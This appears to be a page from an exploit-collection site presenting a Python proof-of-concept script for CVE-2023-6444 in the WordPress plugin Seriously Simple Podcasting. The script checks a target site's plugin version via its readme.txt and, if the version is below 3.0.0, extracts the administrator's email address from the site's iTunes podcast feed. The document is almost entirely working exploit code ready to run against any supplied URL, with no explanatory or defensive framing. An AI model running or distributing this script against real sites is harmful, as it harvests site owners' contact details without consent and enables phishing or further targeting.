4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2023-6444.py PY
import argparse
import requests
from packaging import version
from bs4 import BeautifulSoup

def check_vulnerability(url):
    readme_url = f"{url}/wp-content/plugins/seriously-simple-podcasting/readme.txt"
    try:
        response = requests.get(readme_url)
        response.raise_for_status()
        for line in response.text.splitlines():
            if line.startswith('Stable tag:'):
                plugin_version = line.split(':')[-1].strip()
                if version.parse(plugin_version) < version.parse("3.0.0"):
                    return True
                else:
                    return False
        return False
    except requests.RequestException as e:
        print(f"Error accessing {readme_url}: {e}")
        return False

def get_admin_email(url):
    feed_url = f"{url}/?feed=itunes"
    try:
        response = requests.get(feed_url)
        response.raise_for_status()
        soup = BeautifulSoup(response.content, 'xml')
        email_tag = soup.find('itunes:email')
        if email_tag:
            return email_tag.text
        else:
            print("No admin email found in the feed.")
            return None
    except requests.RequestException as e:
        print(f"Error accessing {feed_url}: {e}")
        return None

def main():
    parser = argparse.ArgumentParser(description='Check Seriously Simple Podcasting plugin version and extract admin email.')
    parser.add_argument('url', type=str, help='The URL of the WordPress site to check.')
    args = parser.parse_args()

    if check_vulnerability(args.url):
        print("Site is vulnerable!")
        email = get_admin_email(args.url)
        if email:
            print(f"Administrator email address: {email}")
        else:
            print("Could not find the administrator email address.")
    else:
        print("Site is not vulnerable!")

if __name__ == "__main__":
    main()